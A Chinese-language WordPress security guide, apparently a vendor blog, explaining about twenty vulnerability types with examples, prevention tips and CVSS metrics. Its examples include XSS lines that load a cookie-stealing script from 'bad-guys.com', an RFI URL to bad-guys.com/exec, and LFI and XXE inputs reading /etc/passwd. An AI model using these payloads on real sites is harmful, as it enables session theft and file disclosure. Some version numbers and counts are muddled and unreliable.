WordPress 漏洞說明

已發表: 2021-01-27

不幸的是,WordPress 存在漏洞。 WordPress 漏洞可能存在於您的插件、主題甚至 WordPress 核心中。 由於 WordPress 現在支持近 40% 的網站,因此了解漏洞的任務更加重要。 簡而言之:您必須警惕網站的安全性。

如果您不是 WordPress 安全專家,了解所有各種 WordPress 漏洞可能會令人生畏。 試圖了解漏洞的不同嚴重程度以及 WordPress 漏洞的風險也可能會讓人不知所措。

本指南將定義 21 個最常見的 WordPress 漏洞,介紹如何對 WordPress 漏洞的嚴重性進行評分,舉例說明黑客如何利用該漏洞,並展示如何防止這些漏洞。 讓我們潛入。

WordPress 漏洞說明

    什麼是 WordPress 漏洞?

    WordPress 漏洞是可以被黑客利用的主題、插件或 WordPress 核心中的弱點或缺陷。 換句話說,WordPress 漏洞創建了一個入口點,黑客可以利用該入口點進行惡意活動。

    請記住,網站黑客攻擊幾乎都是自動化的。 因此,黑客幾乎可以在短時間內輕鬆闖入大量網站。 黑客使用特殊工具掃描互聯網,尋找已知漏洞。

    黑客喜歡簡單的目標,擁有一個運行具有已知漏洞的軟件的網站就像向黑客提供分步說明以闖入您的 WordPress 網站、服務器、計算機或任何其他聯網設備。

    我們每月的 WordPress 漏洞綜述報告涵蓋了所有公開披露的 WordPress 核心、WordPress 插件和主題漏洞。 在這些綜述中,我們分享了易受攻擊的插件或主題的名稱、受影響的版本和漏洞類型。

    什麼是零日漏洞?

    零日漏洞是在開發者針對漏洞發布補丁之前已經公開披露的漏洞。

    當談到 WordPress 漏洞時,了解零日漏洞的定義很重要。 由於該漏洞已向公眾披露,因此開發人員有零日時間來修補該漏洞。 這可能會對您的插件和主題產生重大影響。

    通常,安全研究人員會發現一個漏洞,並私下向擁有該軟件的公司開發人員披露該漏洞。 安全研究人員和開發人員同意,一旦補丁可用,將發布完整的詳細信息。 補丁發布後可能會稍微延遲披露漏洞,以便讓更多人有時間更新重大安全漏洞。

    但是,如果開發者不回復安全研究人員或未提供漏洞補丁,則研究人員可能會公開披露漏洞,迫使開發者發布補丁。

    公開披露漏洞並看似引入零日漏洞似乎會適得其反。 但是,這是研究人員必須向開發人員施壓以修補漏洞的唯一手段。

    在披露漏洞方面,Google 的 Project Zero 也有類似的指導方針。 他們在 90 天后發布漏洞的完整詳細信息。 是否已修補漏洞。

    任何人都可以找到該漏洞。 如果黑客在開發人員發布補丁之前發現了漏洞,它將成為最終用戶最糟糕的噩夢…… 一個積極利用的零日漏洞。

    什麼是積極利用的零日漏洞?

    一個積極利用的零日漏洞正是它聽起來的樣子。 這是黑客正在瞄準、攻擊和積極利用的未修補漏洞。

    2018 年底,黑客積極利用 WP GDPR 合規插件中的一個嚴重的 WordPress 漏洞。 該漏洞允許未經授權的用戶(下一節將詳細介紹)修改 WP 用戶註冊設置並將默認的新用戶角色從訂閱者更改為管理員。

    這些黑客在 WP GDPR 合規性插件和安全研究人員之前發現了這個漏洞。 因此,任何安裝了該插件的網站都是網絡犯罪分子的一個簡單且有保證的標記。

    如何保護自己免受零日漏洞

    保護您的網站免受零日漏洞影響的最佳方法是停用並刪除軟件,直到漏洞得到修補。 值得慶幸的是,WP GDPR 合規插件開發人員迅速採取行動,並在公開披露後的第二天發布了針對該漏洞的補丁。

    未修補的漏洞使您的網站很容易成為黑客的目標。

    未經身份驗證與經過身份驗證的 WordPress 漏洞

    在談論 WordPress 漏洞時,您還需要熟悉兩個術語。

    1. 未經身份驗證- 未經身份驗證的 WordPress 漏洞意味著任何人都可以利用該漏洞。
    2. Authenticated – 一個經過身份驗證的 WordPress 漏洞意味著它需要登錄用戶才能利用。

    需要經過身份驗證的用戶的漏洞對於黑客來說更難利用,尤其是在需要管理員級別權限的情況下。 而且,如果黑客已經掌握了一組管理員憑據,他們真的不需要利用漏洞來造成嚴重破壞。

    有一個警告。 一些經過身份驗證的漏洞只需要訂閱者級別的功能即可利用。 如果您的網站允許任何人註冊,那麼這與未經身份驗證的漏洞之間確實沒有太大區別。

    19個常見的WordPress漏洞解釋

    談到 WordPress 漏洞,有 21 種常見類型的漏洞。 讓我們涵蓋這些 WordPress 漏洞類型中的每一種。

    1. 認證繞過

    身份驗證繞過漏洞允許攻擊者跳過身份驗證要求並執行通常為經過身份驗證的用戶保留的任務。

    身份驗證是驗證用戶身份的過程。 WordPress 要求用戶輸入用戶名和密碼來驗證他們的身份。

    身份驗證繞過示例

    應用程序根據一組固定的參數驗證身份驗證。 攻擊者可以修改這些參數以訪問通常需要身份驗證的網頁。

    此類情況的一個非常基本的示例是 URL 中的身份驗證參數。

     https:/my-website/some-plugint?param=authenticated&param=no

    上面的 URL 有一個值為 no 的身份驗證參數。 因此,當我們訪問此頁面時,我們會看到一條消息,通知我們我們無權查看此頁面上的信息。

    但是,如果身份驗證檢查編碼不當,攻擊者可以修改身份驗證參數以獲得對私有頁面的訪問權限。

     https:/my-website/some-plugint?param=authenticated&param=yes

    在此示例中,黑客可以將 URL 中的身份驗證值更改為 yes 以繞過身份驗證要求以查看頁面。

    如何防止身份驗證繞過預防

    您可以使用雙因素身份驗證來幫助保護您的網站免受損壞的身份驗證漏洞。

    2. 後門漏洞

    後門漏洞允許授權和未授權用戶繞過正常的安全措施並獲得對計算機、服務器、網站或應用程序的高級訪問權限。

    後門示例

    開發人員創建了一個後門,以便他們可以作為管理員用戶在編碼和測試代碼之間快速切換。 不幸的是,開發人員忘記在軟件向公眾發布之前刪除後門。

    如果黑客找到後門,他們可以利用入口點來獲得對軟件的管理員訪問權限。 現在黑客擁有管理員訪問權限,他們可以執行各種惡意操作,例如注入惡意軟件或竊取敏感數據。

    如何防止後門

    許多後門可以歸結為一個問題,即安全配置錯誤。 可以通過刪除代碼中任何未使用的功能、使所有庫保持最新以及使錯誤消息更通用來緩解安全錯誤配置問題。

    3. PHP 對象注入漏洞

    PHP 對象注入漏洞發生在用戶提交的輸入在傳遞給unserialized() PHP 函數之前未經清理(意味著不刪除非法字符unserialized()

    PHP 對象注入示例

    下面是示例廣告管理器 WordPress 插件中 PHP 對象注入漏洞的真實示例,該漏洞最初由 sumofpwn 報告。

    該問題是由於插件sam-ajax-loader.php文件中對unserialize() 的兩次不安全調用造成的。 輸入直接從 POST 請求中獲取,如下面的代碼所示。

     if ( in_array( $action, $allowed_actions ) ) { switch ( $action ) { case 'sam_ajax_load_place': echo json_encode( array( 'success' => false, 'error' => 'Deprecated...' ) ); break; case 'sam_ajax_load_ads': if ( ( isset( $_POST['ads'] ) && is_array( $_POST['ads'] ) ) && isset( $_POST['wc'] ) ) { $clauses = **unserialize( base64_decode( $_POST['wc'] ) )**;

    此問題可能會導致攻擊者輸入和執行惡意代碼。

    如何防止 PHP 對象注入

    不要對用戶提供的輸入使用unserialize()函數,而是使用 JSON 函數。

    4. 跨站腳本漏洞

    當 Web 應用程序允許用戶在 URL 路徑中添加自定義代碼時,就會出現XSS或跨站點腳本漏洞。 攻擊者可以利用該漏洞在受害者的 Web 瀏覽器中運行惡意代碼、創建到惡意網站的重定向或劫持用戶會話。

    XSS主要有3種,體現。 存儲的和基於 DOM 的

    5. 反射跨站腳本漏洞

    當惡意腳本在客戶端請求(您在瀏覽器中發出的請求)中發送到服務器並由服務器反射回來並由您的瀏覽器執行時,就會發生反射 XSS或反射跨站點腳本。

    反射式跨站腳本示例

    假設yourfavesite.com要求您登錄才能查看網站的某些內容。 假設該網站未能正確編碼用戶輸入。

    攻擊者可以通過創建惡意鏈接並在電子郵件和社交媒體帖子中與yourfavesite.com用戶共享來利用此漏洞。

    攻擊者使用 URL 縮短工具使惡意鏈接看起來沒有威脅性並且非常yourfavesite.com/cool-stuff點擊, yourfavesite.com/cool-stuff - yourfavesite.com/cool-stuff 。 但是,當您單擊縮短的鏈接時,完整的鏈接將由您的瀏覽器yourfavesite.com/cool-stuff?q=cool-stuff<\script&src=”http://bad-guys.com/passwordstealingcode.js執行。

    單擊該鏈接後,您將被帶到yourfavesite.com ,惡意腳本將反映回您的瀏覽器,從而允許攻擊者劫持您的會話 cookie 和yourfavesite.com帳戶。

    如何防止反射跨站腳本

    OWASP 跨腳本預防備忘單上的第 5 條規則是在將不受信任的數據插入 HTML URL 參數值之前進行 URL 編碼。 此規則有助於防止在將不受信任的數據添加到 HTTP GET 參數值時創建反射型 XSS 漏洞。

    <a href="http://www.yourfavesite.com?test=...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a >

    6. 存儲跨站腳本漏洞

    存儲型 XSS或存儲型跨站點腳本漏洞允許黑客將惡意代碼注入並存儲在 Web 應用程序的服務器上。

    存儲跨站腳本示例

    攻擊者發現yourfavesite.com允許訪問者在站點的評論部分嵌入 HTML 標籤。 所以攻擊者創建了一個新的評論:

    很棒的文章! 查看其他相關的優秀<script src=”http://bad-guys.com/passwordstealingcode.js>文章。 </script>

    注意:反射的XSS漏洞需要訪問者單擊惡意代碼鏈接才能執行。 存儲型 XSS攻擊只需要包含要訪問的評論的頁面。 惡意代碼在每次頁面加載時運行。

    現在我們的壞人已經添加了評論,這個頁面的每個未來訪問者都將暴露於他們的惡意腳本。 該腳本託管在壞人的網站上,能夠劫持訪問者會話 cookie 和yourfavesite.com帳戶。

    如何防止存儲跨站腳本

    OWASP 跨腳本預防備忘單上的規則 #1 是在將不受信任的數據添加到 HTML 元素之前進行 HTML 編碼。

     <body> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </body>
     <div> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </div>

    對以下字符進行編碼以防止切換到任何執行上下文,例如腳本、樣式或事件處理程序。 規範中建議使用十六進制實體。

     & --> &amp; < --> &lt; > --> &gt; " --> &quot; ' --> &#x27;

    7. 基於文檔對像模型的跨站腳本漏洞

    當網站的客戶端腳本將用戶提供的數據寫入文檔對像模型 (DOM) 時,就會出現基於DOM 的 XSS基於文檔對像模型的跨站點腳本漏洞。 然後網站從 DOM 中讀取用戶日期並將其輸出到訪問者的網絡瀏覽器。

    如果用戶提供的數據沒有得到正確處理,攻擊者可能會注入惡意代碼,當網站從 DOM 讀取代碼時會執行這些代碼。

    注意:反射型和存儲型 XSS 是服務器端問題,而基於 DOM 的 XSS 是客戶端(瀏覽器)問題。

    基於文檔對像模型的跨站點腳本示例

    解釋 DOM XSS 攻擊自定義歡迎頁面的常用方法。 創建帳戶後,假設您將yourfavesite.com重定向到定制的歡迎頁面,該頁面使用以下代碼按姓名歡迎您。 用戶名被編碼到 URL 中。

     <HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.URL.indexOf("name=")+8; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Welcome to yourfavesite.com! … </HTML>

    所以,我們會有一個yourfavesite.com/account?name=yourname的 URL。

    攻擊者可以通過向新用戶發送以下 URL 來完成基於 DOM 的 XSS 攻擊:

     http://yourfavesite.com/account?name=<script>alert(document.cookie)</script>

    當新用戶點擊鏈接時,他們的瀏覽器會發送一個請求:

     /account?name=<script>alert(document.cookie)</script>

    bad-guys.com 。 該網站以包含上述 Javascript 代碼的頁面作為響應。

    新用戶的瀏覽器為頁面創建一個 DOM 對象,其中document.location對象包含字符串:

     http://www.bad-guys.com/account?name=<script>alert(document.cookie)</script>

    頁面中的原始代碼不希望默認參數包含 HTML 標記,從而將標記回顯到頁面上。 然後新用戶的瀏覽器將呈現頁面並執行攻擊者的腳本:

     alert(document.cookie)

    如何防止基於 DOM 的跨站腳本

    基於 OWASP Dom 的跨站點腳本預防備忘單上的規則 #1 是 HTML 轉義。 然後,JS 會在將不受信任的數據添加到執行上下文中的 HTML 子上下文之前進行轉義。

    危險的 HTML 方法示例:

    屬性

     element.innerHTML = "<HTML> Tags and markup"; element.outerHTML = "<HTML> Tags and markup";

    方法

     document.write("<HTML> Tags and markup"); document.writeln("<HTML> Tags and markup");

    為了在 DOM 安全中對 HTML 進行動態更新,OWASP 建議:

    1. HTML 編碼,然後
    2. JavaScript 編碼所有不受信任的輸入,如以下示例所示:
     element.innerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"; element.outerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>";
     document.write("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"); document.writeln("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>");

    8. 跨站請求偽造漏洞

    當網絡犯罪分子誘使用戶執行意外操作時,就會出現CSRF或跨站點請求偽造漏洞。 攻擊者偽造用戶對應用程序的請求。

    跨站點請求偽造示例

    在 2020 年 1 月的 WordPress 漏洞綜述中,我們報告了在代碼片段插件中發現的跨站點請求偽造漏洞。 (該插件在2.14.0版本中很快被打補丁)

    該插件缺乏 CRSF 保護,允許任何人代表管理員偽造請求並在易受攻擊的站點上註入可執行代碼。 攻擊者可以利用此漏洞執行惡意代碼,甚至執行完整的站點接管。

    如何防止跨站請求偽造

    大多數編碼框架都有內置的同步令牌防禦來防止 CSRF,應該使用它們。

    還有一些外部組件,如 CSRF Protector Project,可用於保護 PHP 和 Apache CSRF 漏洞。

    9. 服務器端請求偽造漏洞

    SSRF或 Server-Site Request Forger 漏洞允許攻擊者欺騙服務器端應用程序向他們選擇的任意域發出 HTTP 請求。

    服務器端請求偽造示例

    可以利用 SSRF 漏洞發起反射跨站點腳本攻擊。 攻擊者可以從 bad-guys.com 獲取惡意腳本並將其提供給網站的所有訪問者。

    如何防止服務器端請求偽造

    緩解 SSRF 漏洞的第一步是驗證輸入。 例如,如果您的服務器依賴於用戶提供的 URL 來獲取不同的文件,您應該驗證 URL 並且只允許您信任的目標主機。

    有關 SSRF 預防的更多信息,請查看 OWASP 備忘單。

    10. 提權漏洞

    權限提升漏洞允許攻擊者執行通常需要更高級別權限的任務。

    權限提升示例

    在我們 2020 年 11 月的 WordPress 漏洞綜述中,我們報告了在 Ultimate Member 插件中發現的提權漏洞(該漏洞已在 2.1.12 版中修補)。

    攻擊者可以為定義用戶角色的wp_capabilities用戶元提供數組參數。 在註冊過程中,提交的註冊詳細信息被傳遞給update_profile函數,並且提交的任何相應元數據,無論提交了什麼,都將為該新註冊用戶更新。

    該漏洞本質上允許新用戶在註冊時請求管理員。

    如何防止權限提升

    iThemes Security Pro 可以通過限制管理員訪問受信任設備列表來幫助保護您的網站免受破壞的訪問控制。

    11. 遠程代碼執行漏洞

    RCE或遠程執行代碼漏洞允許攻擊者訪問和更改甚至接管計算機或服務器。

    遠程代碼執行示例

    2018 年,微軟披露了在 Excel 中發現的遠程代碼執行漏洞。

    成功利用此漏洞的攻擊者可以在當前用戶的上下文中運行任意代碼。 如果當前用戶使用管理用戶權限登錄,攻擊者就可以控制受影響的系統。 然後攻擊者可以安裝程序; 查看、更改或刪除數據; 或創建具有完全用戶權限的新帳戶。 與使用管理用戶權限操作的用戶相比,帳戶配置為在系統上擁有較少用戶權限的用戶受到的影響較小。

    如何防止遠程代碼執行

    緩解 RCE 漏洞的最簡單方法是通過過濾和刪除任何不需要的字符來驗證用戶輸入。

    我們的母公司 Liquid Web 有一篇關於防止遠程代碼執行的很棒的文章。

    12. 文件包含漏洞

    當 Web 應用程序允許用戶向文件提交輸入或將文件上傳到服務器時,就會出現文件包含漏洞。

    有兩種類型的文件包含漏洞,本地和遠程。

    13. 本地文件包含漏洞

    LFI或本地文件包含漏洞允許攻擊者讀取並有時執行網站服務器上的文件。

    本地文件包含示例

    讓我們再看一下yourfavesite.com ,其中傳遞給include語句的路徑沒有正確清理。 例如,讓我們看看下面的 URL。

     yourfavesite.com/module.php?file=example.file

    攻擊者可以通過更改 URL 參數來訪問服務器上的任意文件。

     yourfavesite.com/module.php?file=etc/passwd

    更改 URL 中文件的值可能允許攻擊者查看 psswd 文件的內容。

    如何防止本地文件包含

    創建頁面可能包含的文件的允許列表,然後使用標識符訪問所選文件。 然後阻止任何包含無效標識符的請求。

    14. 遠程文件包含漏洞

    RFI或遠程文件包含漏洞允許攻擊者包含文件,通常利用目標應用程序中實現的“動態文件包含”機制。

    遠程文件包含示例

    WordPress Plugin WP with Spritz 已在 WordPress.org 存儲庫中關閉,因為它存在 RFI 漏洞。

    下面是該漏洞的源代碼:

     if(isset($_GET['url'])){ $content=file_get_contents($_GET['url']);

    可以通過更改content.filter.php?url=值的值來利用該代碼。 例如:

     yoursite.com//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://bad-guys.com/exec

    遠程文件包含預防

    創建頁面可能包含的文件的允許列表,然後使用標識符訪問所選文件。 然後阻止任何包含無效標識符的請求。

    15. 目錄遍歷漏洞

    目錄遍歷或文件遍歷漏洞允許攻擊者讀取運行應用程序的服務器上的任意文件。

    目錄遍歷示例

    WordPress 5.7 – 5.03 版本容易受到目錄遍歷攻擊,因為它們未能正確驗證用戶輸入數據。 攻擊者可以訪問至少具有author權限的帳戶,可以利用目錄遍歷漏洞在底層服務器上執行惡意 PHP 代碼,從而導致完全遠程接管。

    如何防止目錄遍歷

    在模板化或使用語言文件時,開發人員可以使用索引而不是文件名的實際部分。

    16. 惡意重定向漏洞

    惡意重定向漏洞允許攻擊者註入代碼將站點訪問者重定向到另一個網站。

    惡意重定向示例

    假設您正在使用在線精品店的搜索工具尋找一件藍色毛衣。

    不幸的是,精品店的服務器未能正確編碼用戶輸入,攻擊者能夠將惡意重定向腳本注入您的搜索查詢。

    因此,當您在精品店的搜索字段中輸入藍色毛衣並按回車鍵時,您最終會進入攻擊者的網頁,而不是精品店的頁面,裡面有與您的搜索描述相匹配的毛衣。

    如何防止惡意重定向

    您可以通過清理用戶輸入、驗證 URL 並獲取訪問者對所有異地重定向的確認來防止惡意重定向。

    17. XML 外部實體漏洞

    XXE或 XML 外部實體漏洞允許攻擊者欺騙 XML 解析器將敏感信息傳遞給他們控制的外部實體。

    XML 外部實體示例

    攻擊者可以利用 XXE 漏洞訪問敏感文件,例如存儲用戶帳戶信息的 etc/passwd。

     <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>

    如何防止 XML 外部實體

    防止XXE的最佳方法是使用不太複雜的數據格式,例如 JSON,並避免對敏感數據進行序列化。

    18. 拒絕服務攻擊

    DoS或拒絕服務攻擊是故意嘗試通過用網絡流量淹沒您的網站或應用程序來使用戶無法使用它。

    DDoS分佈式拒絕服務攻擊中,攻擊者使用多個來源用流量淹沒網絡。 攻擊者將劫持受惡意軟件感染的計算機、路由器和物聯網設備組,以增加流量。

    拒絕服務攻擊示例

    有史以來最大規模的 DDoS(分佈式拒絕服務)攻擊是在今年 2 月針對 AWS 發起的。 亞馬遜報告稱,他們的託管威脅防護服務 AWS Shield 觀察到並緩解了這種巨大的 DDoS 攻擊。 攻擊持續了 3 天,達到了每秒 2.3 TB 的峰值。

    如何防止拒絕服務攻擊

    有兩種主要方法可以緩解 DoS 攻擊。

    1. 購買比您需要的更多的主機。 擁有額外的資源可以幫助您應對 DoS 攻擊造成的需求增加。
    2. 使用 Cloudflare 等服務器級防火牆。 防火牆可以檢測到異常的流量高峰並防止您的網站過載。

    19. 按鍵記錄

    擊鍵記錄,也稱為鍵盤記錄或鍵盤捕獲,發生在黑客暗中監視和記錄網站訪問者的擊鍵時。

    擊鍵記錄示例

    2017 年,一名黑客成功地在智能手機製造商 OnePlus 的服務器上安裝了惡意 JavaScript。

    攻擊者使用惡意代碼監視並記錄 OnePlus 客戶在輸入信用卡詳細信息時的按鍵操作。 在 OnePlus 檢測並修補黑客之前,黑客記錄並收集了 40,000 名客戶的擊鍵記錄。

    如何防止擊鍵記錄

    更新一切! 通常,攻擊者需要利用另一個現有漏洞在計算機或服務器上註入鍵盤記錄器。 使用最新的安全補丁更新所有內容將防止黑客輕鬆地在您的網站或計算機上安裝鍵盤記錄器。

    獎勵:2 個社會工程和用戶漏洞

    軟件漏洞是黑客和網絡犯罪分子試圖利用的唯一東西。 黑客還瞄準和利用人類。 讓我們來看看我們可以變成漏洞的幾種方式。

    1. 釣魚

    網絡釣魚是一種網絡攻擊方法,使用電子郵件、社交媒體、短信和電話來誘騙受害者提供個人信息。 然後攻擊者將使用該信息訪問個人帳戶或進行身份欺詐。

    如何發現網絡釣魚電子郵件

    正如我們在本文前面了解到的,一些漏洞需要某種類型的用戶交互才能利用。 黑客誘騙人們參與其邪惡活動的一種方式是發送網絡釣魚電子郵件。

    學習如何發現網絡釣魚電子郵件可以避免您無意中參與網絡犯罪分子的計劃。

    發現網絡釣魚電子郵件的 4 個技巧

    1. 查看發件人電子郵件地址- 如果您收到來自企業的電子郵件,“@”之後的發件人電子郵件地址部分應與企業名稱匹配。

      如果電子郵件代表公司或政府實體,但使用的是“@gmail”等公共電子郵件地址,則表明存在網絡釣魚電子郵件。

      留意域名的細微拼寫錯誤。 例如,讓我們看看這個電子郵件地址 [email protected] 我們可以看到 Netflix 在末尾有一個額外的“x”。 拼寫錯誤清楚地表明該電子郵件是由騙子發送的,應立即刪除。
    2. 查找語法錯誤– 充滿語法錯誤的電子郵件是惡意電子郵件的標誌。 所有單詞都可能拼寫正確,但句子中缺少會使句子連貫的單詞。 例如,“您的帳戶被黑了。 更新密碼以確保帳戶安全”。

      每個人都會犯錯,並不是每封有一兩個錯字的電子郵件都試圖欺騙您。 但是,在回答之前,需要仔細查看多個語法錯誤。
    3. 可疑的附件或鏈接——在與電子郵件中包含的任何附件或鏈接進行交互之前,值得暫停片刻。

      如果您不認識電子郵件的發件人,則不應下載電子郵件中包含的任何附件,因為它可能包含惡意軟件​​並感染您的計算機。 如果電子郵件聲稱來自企業,您可以在打開任何附件之前 Google 其聯繫信息以驗證電子郵件是從他們發送的。

      如果電子郵件包含鏈接,您可以將鼠標懸停在鏈接上,以驗證 URL 是否將您發送到應有的位置。
    4. 提防緊急請求——詐騙者常用的伎倆是製造緊迫感。 惡意電子郵件可能會產生需要立即採取行動的場景。 您思考的時間越多,您就越有可能確定該請求來自騙子。

      您可能會收到“老闆”發來的電子郵件,要求您盡快向供應商付款,或者收到銀行的電子郵件,通知您您的帳戶已被黑客入侵,需要立即採取行動。

    2. 弱憑證

    用戶有可能成為最大的 WordPress 安全漏洞。

    在 Splash Data 編制的列表中,所有數據轉儲中包含的最常見密碼是 123456。數據轉儲是一個被黑的數據庫,其中填充了在互聯網上某處轉儲的用戶密碼。 如果 123456 是數據轉儲中最常見的密碼,您能想像您網站上有多少人使用弱密碼嗎?

    儘管 91% 的人知道重複使用密碼是不好的做法,但仍有 59% 的人在任何地方重複使用他們的密碼! 這些人中的許多人仍在使用他們知道出現在數據庫轉儲中的密碼。

    黑客使用一種稱為字典攻擊的蠻力攻擊形式。 字典攻擊是一種使用出現在數據庫轉儲中的常用密碼闖入 WordPress 網站的方法。 “系列#1? 託管在 MEGA 託管的數據洩露包括 1,160,253,228 種獨特的電子郵件地址和密碼組合。 那是一個 b 的十億。 這種分數確實有助於字典攻擊縮小最常用的 WordPress 密碼的範圍。

    弱憑據將您的 WordPress 登錄信息變成一個容易被黑客利用的漏洞。

    如何防止弱憑證

    防止弱憑據的最佳方法是創建強密碼策略並使用雙因素身份驗證。

    iThemes Security Pro 密碼要求功能允許強制用戶組成員使用強密碼、選擇密碼過期時間、拒絕密碼洩露以及強制更改站點範圍的密碼,以使每個人都遵守新的強密碼策略。

    雙因素身份驗證是通過需要兩種不同的驗證方法來驗證個人身份的過程。 谷歌在其博客上分享說,使用雙因素身份驗證可以阻止 100% 的自動機器人攻擊。

    在您的網站上實施 2fa 時, iThemes Security Pro 兩因素身份驗證功能提供了極大的靈活性。 您可以為所有或部分用戶啟用雙重驗證,並且可以強制高級用戶在每次登錄時使用 2fa。

    如何保護您的 WordPress 網站免受 WordPress 漏洞的影響

    讓我們來看看您可以採取的一些可操作步驟來保護您的網站免受 WordPress 漏洞的影響。

    1. 使您的 WordPress 軟件保持最新

    擁有一個有補丁但未應用的易受攻擊的插件或主題是被黑 WordPress 網站的罪魁禍首。 大多數漏洞被利用的漏洞的補丁之後,這意味著被釋放。

    如果他們更新了他們的軟件,那麼高度報導的 Equifax 漏洞就可以避免。 對於 Equifax 漏洞,根本沒有任何藉口。

    像更新軟件這樣簡單的事情就可以保護您。 所以不要忽視那些 WordPress 更新——更新是 WordPress 和所有網絡安全最基本的組件之一。

    iThemes Security Pro 版本管理功能可以自定義和自動化您的 WordPress 更新。

    2. 跟踪 WordPress 漏洞

    保持插件和主題更新不會保護您免受每個漏洞的影響。 一些插件和主題已被創建它們的開發人員放棄。

    不幸的是,如果一個廢棄的插件或主題存在漏洞,它將永遠不會得到補丁。 黑客將針對使用這些現在永久易受攻擊的插件的網站。

    跟踪漏洞是擁有安全網站與黑客容易利用的網站之間的區別。

    如果您的網站上有一個帶有已知漏洞的廢棄插件,那麼您就是在為黑客提供接管您網站所需的藍圖。 這就是為什麼您必須跟踪所有最新漏洞的原因。

    很難跟踪每個已披露的 WordPress 漏洞並將該列表與您在網站上安裝的插件和主題的版本進行比較。 跟踪漏洞是擁有安全網站與黑客容易利用的網站之間的區別。

    給你的好消息! 我們在 WordPress 漏洞綜述中跟踪並分享每個已披露的漏洞。

    3. 掃描您的網站是否存在漏洞

    保護您的網站免受黑客攻擊的更快方法是使用自動掃描來檢查您的網站是否存在已知漏洞。

    iThemes Security Pro Site Scanner 是您在所有 WordPress 網站上自動化漏洞保護的方式。 站點掃描程序會檢查您的站點是否存在已知漏洞,並會在可用時自動應用補丁。

    iThemes Security Pro 站點檢查 3 種類型的漏洞。

    1. WordPress 漏洞
    2. 插件漏洞
    3. 主題漏洞

    iThemes Sync Pro 站點審核功能利用 Google Lighthouse 的強大功能來保護您的網站。 站點審核檢查並標記包含具有已知安全漏洞的前端 JavaScript 庫的頁面。

    開發人員在他們的插件和主題中使用第三方代碼(如 JS 庫)是常見的做法。 不幸的是,如果這些庫沒有得到妥善維護,它們可能會產生攻擊者可以利用的漏洞來入侵您的網站。 使用具有已知漏洞的組件在 OWASP Top 10 列表中。

    現場審核救了我的培根! 我創建了一個審計計劃,讓 Sync Pro 每週執行一次自動審計,並將審計報告通過電子郵件發送給我。 我保持所有更新,這就是為什麼當我在我的網站審核中看到我使用具有已知安全漏洞的 JavaScript 庫時感到震驚的原因。

    該報告向我指出了網站 WordPress 目錄中的一個過時版本的 jQuery,其中散佈著已知漏洞! 幸運的是,我在 Sync Pro Site Audit 中看到我使用了具有已知安全漏洞的 JavaScript 庫,並且能夠在我的網站遭到黑客攻擊之前解決問題。

    如何衡量 WordPress 漏洞風險

    有幾種類型的 WordPress 漏洞,都具有不同程度的風險。 幸運的是,國家漏洞數據庫——美國國家科學技術研究院的一個項目——有一個漏洞評分系統計算器來確定漏洞的風險。

    WordPress 漏洞指南的這一部分將涵蓋漏洞評分系統的指標和嚴重性級別。 雖然本節更具技術性,但一些用戶可能會發現它有助於加深他們對如何評估 WordPress 漏洞及其嚴重性的理解。

    常見的 WordPress 漏洞評分系統指標

    漏洞評分系統的等式使用三組不同的評分來確定總體嚴重性評分。

    1. 基本指標

    基本指標組代表在用戶環境中保持不變的漏洞特徵。

    基本指標分為兩組,可利用性和影響。

    1.1. 可利用性指標

    可利用性分數基於攻擊者利用該漏洞的難度。 分數是使用 5 個不同的變量計算的。

    1.1.1. 攻擊向量 (AV)

    攻擊向量分數基於利用漏洞的方法。 攻擊者利用該漏洞的距離越遠,得分越高。

    這個想法是,與需要物理訪問設備漏洞利用的漏洞相比,如果該漏洞可以通過網絡利用,則潛在攻擊者的數量將會更多。

    潛在的攻擊者越多,被利用的風險就越大,因此漏洞的攻擊向量得分會越高。

    需要訪問描述
    網絡 (N) 可通過網絡利用的漏洞 訪問意味著易受攻擊的組件可遠程利用
    相鄰網絡 (AV:A) 可通過相鄰網絡利用的漏洞 訪問意味著易受攻擊的組件綁定到網絡堆棧。 但是,攻擊僅限於相同的共享物理或邏輯網絡。
    本地 (AV:L) 一個可利用 Local 的漏洞 訪問意味著易受攻擊的組件未綁定到網絡堆棧。 在某些情況下,攻擊者可能在本地登錄以利用該漏洞,或者可能依靠用戶交互來執行惡意文件。
    物理 (AV:P) 可利用 Physical 的漏洞 使用權 要求攻擊者物理接觸或操縱易受攻擊的組件,例如將外圍設備連接到系統。

    1.1.2. 攻擊複雜度 (AC)

    複雜性值基於利用漏洞所需的條件。 某些情況可能需要收集有關目標、某些系統配置設置的存在或計算異常的更多信息。

    利用漏洞所需的複雜性越低,攻擊複雜性得分越高。

    利用條件複雜性說明
    低 (L) 不存在專門的訪問條件或情有可原的情況。 攻擊者可以期望針對易受攻擊的組件取得可重複的成功。
    高 (H) 成功的攻擊取決於攻擊者無法控制的條件。 成功的攻擊不能隨意完​​成,但需要攻擊者在預期成功攻擊之前投入一些可衡量的努力來準備或執行針對易受攻擊的組件。

    1.1.3. 所需權限 (PR)

    特權要求分數是根據攻擊者在利用漏洞之前必須獲得的特權來計算的。 我們將在 Authenticated vs. Unauthenticated 部分深入探討這一點。

    如果不需要特權,分數將是最高的。

    需要權限級別描述
    無 (N) 攻擊者在攻擊之前是未經授權的,因此不需要訪問任何設置或文件來執行攻擊。
    低 (L) 攻擊者被授權提供基本用戶功能的權限,這些功能通常只能影響用戶擁有的設置和文件。 或者,具有低權限的攻擊者可能僅對非敏感資源造成影響。
    高 (H) 攻擊者被授權(即需要)特權,這些特權對可能影響組件範圍設置和文件的易受攻擊的組件提供重要(例如,管理)控制。

    1.1.4. 用戶交互 (UI)

    用戶交互分數是根據漏洞是否需要用戶交互才能利用來確定的。

    當攻擊者無需用戶交互即可利用該漏洞時,得分最高。

    用戶交互需求描述
    無 (N) 可以在沒有任何用戶交互的情況下利用易受攻擊的系統。
